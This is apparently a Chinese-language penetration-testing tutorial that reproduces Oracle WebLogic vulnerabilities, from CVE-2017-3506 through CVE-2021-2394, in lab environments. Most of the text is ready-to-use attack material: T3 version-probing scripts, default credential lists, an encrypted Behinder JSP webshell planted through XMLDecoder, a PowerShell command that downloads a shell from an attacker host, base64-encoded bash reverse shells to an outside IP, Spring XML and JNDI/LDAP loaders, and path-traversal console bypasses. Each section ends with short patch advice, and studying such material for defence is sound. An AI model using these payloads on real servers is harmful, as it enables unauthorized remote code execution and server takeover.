中间件漏洞之weblogic

 

Weblogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

判断版本

参考博客:https://blog.csdn.net/allway2/article/details/120785233

登录页面

可能会被删除和禁止访问

http://...:7001/console/login/LoginForm.jsp

image-20220720103618238

t3协议判断

使用 wireshark 抓包时发现,协议报文中带有 weblogic 的版本

image-20220720103909109

所以只需要通过 t3 协议发送以下数据包,即可从返回包中获取 Weblogic 版本

t3 10.3.6
AS: 255
HL: 19

这里需要注意,有时候发送数据包时,可能只会返回一个HELLO。这时候说明 t3 协议应该是开启的,需要多次提交探测包,才可能在某次中成功获取到。

如果未探测到,以下几种可能情况:

  1. t3 协议未启用
  2. 服务器做了负载均衡
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_

import socket
import time
import re

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
server_addr = ("123.58.224.8", 30992)

try:
    sock.connect(server_addr)
    sock.send(bytes.fromhex('74332031322E312E320A41533A323034380A484C3A31390A0A'))
    time.sleep(1)
    res = sock.recv(1024)
    # print(res)
    res = res.decode('utf-8')
    # versionInfo = res.splitlines()[0].replace("HELO:", "").replace(".false", "")
    versionInfo = re.match(r'.*?([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', res).group(1)
    if versionInfo:
        if versionInfo == "12.1.2":
            sock.send(bytes.fromhex('74332031312E312E320A41533A323034380A484C3A31390A0A'))
            time.sleep(1)
            res = sock.recv(1024)
            res = res.decode('utf-8')
            versionInfo = re.match(r'.*?([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', res).group(1)
            if versionInfo == "11.1.2":
                # Server just echoes whatever version we send.
                print('[-] T3 protocol in use (Unknown WebLogic version).')

        print('[+] T3 protocol in use (Weblogic Version: {})'.format(versionInfo))

    else:
        print('[+] ' + res[:-1])
        print('[-] Unknown response received.')
except Exception as e:
    print('[-] Target Weblogic T3 Handshake Failed.')
#!/usr/bin/env python3

##################################################
# Author: synfinner                              #
# Description: Get Weblogic version via T3.      #
##################################################

import sys
import socket
import argparse
import ssl
import ipaddress

def t3ssl(host,port):

    # Setup SSL context
    context = ssl.create_default_context()
    # Ignore ssl validations
    context.check_hostname = False
    context.verify_mode |= ssl.CERT_NONE
    # Specify that we want to use T3S
    msg = "t3s 12.1.2\nAS:2048\nHL:19\n\n"
    try:
        logicSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        logicSocket.settimeout(5) # 5 second timeout
        # SSL wrap the socket
        secureLogicSocket = context.wrap_socket(logicSocket, server_side=False,
                                                server_hostname=host)
        secureLogicSocket.connect((host, port))
        secureLogicSocket.send(msg.encode())
        data = secureLogicSocket.recv(1024)
        print("HOST: ", host,"--",data.decode().rstrip())
        secureLogicSocket.close()
    except Exception as e:
        print("[+]Error: ",e)
    return

def t3(host,port):
    # construct TCP socket.
    logicSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    logicSocket.settimeout(5) # 5 second timeout.
    try:
        logicSocket.connect((host,port))
    except Exception as e:
        print("[+]Error: ",e)
        return
    # Send t3 request.
    msg = "t3 10.3.6\nAS:255\nHL:19\n\n"
    try:
        logicSocket.send(msg.encode())
    except Exception as e:
        print("[+]Error: ",e)
        return

    data = logicSocket.recv(1024)
    print(data)
    print("HOST: ", host,"--",data)
    logicSocket.close()
    return


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", type=str,
                    help="hotname/ip of target")
    parser.add_argument("-p", "--port", type=int,
                    help="port to connect on")
    parser.add_argument("-s", "--secure",
                    help="negotiate over ssl/t3s",
                    action='store_true')
    parser.add_argument("-r", "--range", action='store_true',
                    help="cidr addresses specified as target. Ex: 192.168.10.0/24")
    args = parser.parse_args()
    host = args.target
    port = args.port
    if args.range:
        network = ipaddress.ip_network(host)
        for ip in network:
            if args.secure:
                t3ssl(str(ip),port)
            else:
                t3(str(ip),port)
    else:
        pass
    if args.secure:
        t3ssl(host,port)
    else:
        t3(host,port)

if __name__ == '__main__':
    main()

weblogic弱口令getshell漏洞

漏洞描述

在weblogic搭建好之后没有修改进入后台的密码 导致弱口令登录获得webshell

漏洞复现

访问

http://192.168.220.145:7001/console/login/LoginForm.jsp

使用默认密码进行登录,如果登录不上使用字段进行穷举 weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

weblogic常用弱口令:

1.  Oracle - WebLogic
Method    HTTP
User ID    system
Password    password
Level    Administrator
Doc
Notes    Login located at /console

2.  Oracle - WebLogic
Method    HTTP
User ID    weblogic
Password    weblogic
Level    Administrator
Doc
Notes    Login located at /console

3.  Oracle - WebLogic
Version    9.0 Beta (Diablo)
User ID    weblogic
Password    weblogic
Doc

4.  Oracle - WebLogic Process Integrator
Version    2.0
User ID    admin
Password    security
Doc

5.  Oracle - WebLogic Process Integrator
Version    2.0
User ID    joe
Password    password
Doc

6.  Oracle - WebLogic Process Integrator
Version    2.0
User ID    mary
Password    password
Doc

7.  Oracle - WebLogic Process Integrator
Version    2.0
User ID    system
Password    security
Doc

8.  Oracle - WebLogic Process Integrator
Version    2.0
User ID    wlcsystem
Password    wlcsystem
Doc

9.  Oracle - WebLogic Process Integrator
Version    2.0
User ID    wlpisystem
Password    wlpisystem

错误密码5次之后就会自动锁定,这里使用weblogic/Oracle@123登陆后台

image-20220719165515692

登录后台后 点击部署 点击安装 点击上传文件

image-20220719170439740

image-20220719170502567

打包后门war文件 上传即可

jar -cvf shell.war shell.jsp

image-20220719170846020

下一步

image-20220719170657963

点击完成

image-20220719170732323

安装成功

image-20220719170943387

shell.war在网站根目录已经被解压成/shell/shell.jsp

直接连接冰蝎

http://192.168.220.145:7001/shell/shell.jsp

image-20220719171147537

漏洞修复

设置强口令

XMLDecoder反序列化漏洞(CVE-2017-3506)

漏洞描述

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁

影响版本

10.3.6.0.0,
12.1.3.0.0,
12.2.1.1.0,
12.2.1.2.0

漏洞复现

环境weblogic的版本为10.3.6

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

image-20220719172536090

发送post包,把冰蝎马放进去

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.220.145:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Connection: close
Content-Type: text/xml
Content-Length: 1228


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
	<soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string>
	<void method="println"><string>
	<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
	]]>
	</string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

image-20220719182409975

访问网站 密码rebeyond

http://192.168.220.145:7001/bea_wls_internal/a.jsp

image-20220719182500193

修复方案

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑

是否删除WLS-WebServices组件。包含此组件路径为:

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls

wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls

wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

wls-wsat反序列化漏洞(CVE-2019-2725)

漏洞描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

影响版本

weblogic 10.x
weblogic 12.1.3

漏洞复现

漏洞存在于:_async/AsyncResponseService,访问地址可以访问则存在漏洞:

http://192.168.220.145:7001/_async/AsyncResponseService

image-20220720090956943

查看写入的webshell路径,通过路径来判断是window还是linux系统

http://192.168.220.145:7001/_async/AsyncResponseService?info

image-20220720094745234

直接发送post包,需要把冰蝎马在服务器上,后缀为txt,然后写入要上传的路径.这里用的是window要用cmd /c

<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.31.115:80/shell.jsp.txt','C:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp')</string>
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.220.145:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 962
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.31.115:80/shell.jsp.txt','C:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

linux用/bin/bash -c

<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping xxx.dnslog.cn</string>
POST /_async/AsyncResponseService HTTP/1.1
Host: 123.58.224.8:33011
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 815
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5LzY2NjYgMD4mMQ== | base64 -d | bash</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

这里靶场是window环境

image-20220720095814774

直接用冰蝎连接

http://192.168.220.145:7001/_async/shell.jsp

image-20220720095949992

漏洞修复

禁用bea_wls9_async_response组件
删除wls9_async_response的war包并重启
禁止访问 /_async/* 路径。

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述

WebLogic Server使用T3协议在WebLogic Server和客户端间传输数据和通信,由于WebLogic的T3协议和Web协议使用相同的端口,导致在默认情况下,WebLogic Server T3协议通信和Web端具有相同的访问权限。 易受攻击的WebLogic服务允许未经身份验证的攻击者通过T3网络访问及破坏Oracle WebLogic Server。此漏洞的成功攻击可能导致攻击者接管Oracle WebLogic Server,造成远程代码执行。

此外,由于weblogic 的T3服务,造成的漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638、CVE-2018-2725、CVE-2018-2893、CVE-2018-3245。

影响版本

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3

漏洞复现

下载工具

git clone https://github.com/jas502n/CVE-2018-2628.git

image-20220720133319611

set shell:http://192.168.220.145:7001/bea_wls_internal/wlscmd.jsp

过一会就会自动删除,多试几遍

image-20220720135443155

漏洞修复

1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

WebLogic CVE-2018-2894文件任意上传

漏洞描述

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web ServiceTest Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

影响版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

漏洞复现

这里用的是vulfocus的靶场

进入容器后,获取账号密码

sudo docker-compose logs | grep password

image-20220720151648541

访问登录页面进入后台系统,weblogic:vqCrGP3D

http://192.168.220.147:7001/console/login/LoginForm.jsp

base_domain->高级->启用web服务测试页->保存

image-20220720151959658

image-20220720152112808

然后进入开发模式,开发环境下的测试页有两个,分别为 config.do 和 begin.do

首先进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录(servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css),访问这个目录是无需权限的,这一点很重要。

http://192.168.220.147:7001/ws_utc/config.do

image-20220720152231475

设置工作目录(环境不同记得拼接一下)

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

0x01

点击安全->添加,直接上传冰蝎马

image-20220720152530688

提交之后点击F12审查元素得到jsp上传后的时间戳

image-20220720152706044

访问路径

http://192.168.220.147:7001/ws_utc/css/config/keystore/1658301983770_shell.jsp

image-20220720152849944

0x02

这里我们在对 begin.do 未授权访问进行利用。访问http://192.168.0.159:7001/ws_utc/begin.do,上传一个jsp

image-20220720153359088

这里报错了,用burp抓包提交能看到具体路径

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/upload/RS_Upload_2022-07-20_07-34-56_707/import_file_name_shell.jsp

image-20220720153554830

直接用冰蝎连接即可

http://192.168.220.147:7001/ws_utc/css/upload/RS_Upload_2022-07-20_07-34-56_707/import_file_name_shell.jsp

image-20220720153849809

漏洞修复

升级版本

设置强口令

CVE-2020-14882 WebLogic远程代码执行漏洞

漏洞描述

2020年10月28日,Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞(CVE-2020-14882)POC被公开,远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ,并执行任意代码。

2020年10月29日, Oracle发布的漏洞补丁CVE-2020-14882存在可绕过的0day漏洞。即在Weblogic补丁更新完成后,攻击者仍可绕过WebLogic后台登录等限制,并控制Weblogic服务器。

影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

漏洞复现

未授权登录(没有权限上传文件)

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

image-20220720154751389

这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell

在vps上创建一个xml文件

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/VPS_IP/6666 0>&1]]></value> </list> </constructor-arg> </bean> </beans>

nc监听端口

nc -lvnp 6666

访问url

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://VPS_IP/re-bash.xml")

漏洞修复

修复建议

安装官方最新补丁进行升级:

https://www.oracle.com/security-alerts/cpuapr2020.html

临时措施:

由于该漏洞的补丁存在被绕过的风险,建议临时关闭后台/console/console.portal对外访问。

Weblogic Server(CVE-2021-2109)远程代码执行漏洞

漏洞描述

Oracle WebLogic Server是一款云原生、适用于多层分布式企业应用开发和部署的企业级Java平台应用服务器。 Oracle Weblogic远程代码执行漏洞。攻击者可利用该漏洞构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

影响版本

    Weblogic Server 10.3.6.0.0
    Weblogic Server 12.1.3.0.0
    Weblogic Server 12.2.1.3.0
    Weblogic Server 12.2.1.4.0
    Weblogic Server 14.1.1.0.0

漏洞复现

这里用的是vulfocus的靶场(vulhub/weblogic:12.2.1.3-2018)

在vps启动一个ldap服务,反弹shell(可以先用dnslog判断漏洞是否存在)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,bash反弹shell}|{base64,-d}|{bash,-i}" -A VPS_IP
# -C [执行的命令]
# -A [启动LDAP服务的ip]
# bash反弹shell => bash -i >& /dev/tcp/VPS_IP/6666 0>&1

直接发送post包

注意一下:ldap协议中的ip第三个.要换成;

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.46.133:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://119.91.26;229:1389/ewwxe4;AdminServer%22)

漏洞修复

  1. 升级Weblogic Server运行环境的JDK版本

  2. 禁用T3协议, 进入Weblogic控制台,在base_domain配置页点击“安全”选项卡 -> “筛选器”,配置筛选器,在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s

  3. 使用Weblogic Server官方提供的安全补丁进行修复,https://www.oracle.com/security-alerts/cpujan2021.html

  4. 临时关闭后台/console/console.portal对外访问

  5. 禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启

Weblogic CVE-2021-2394 反序列化漏洞

漏洞描述

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。这个漏洞是一个通过FilterExtractor类反序列化,导致命令执行二次反序列化漏洞,是cve-2020-14756和cve-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

影响版本

oracle-weblogic_server-10.3.6.0.0---
oracle-weblogic_server-12.1.3.0.0---
oracle-weblogic_server-12.2.1.3.0---
oracle-weblogic_server-12.2.1.4.0---
oracle-weblogic_server-14.1.1.0.0---

漏洞复现

这里用的是vulfocus的靶场(vulhub/weblogic:12.2.1.3-2018)

在vps启动一个ldap服务,反弹shell(可以先用dnslog判断漏洞是否存在)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,bash反弹shell}|{base64,-d}|{bash,-i}" -A VPS_IP
# -C [执行的命令]
# -A [启动LDAP服务的ip]
# bash反弹shell => bash -i >& /dev/tcp/VPS_IP/6666 0>&1

image-20220721101923344

nc监听端口

nc -lvvp 6666

因为靶机在内网,直接用kali了

java -jar CVE_2021_2394.jar 192.168.220.147 7001 ldap://VPS_IP:1389/8aqklg

image-20220721153847236

image-20220721102130857

漏洞修复

禁用iiop协议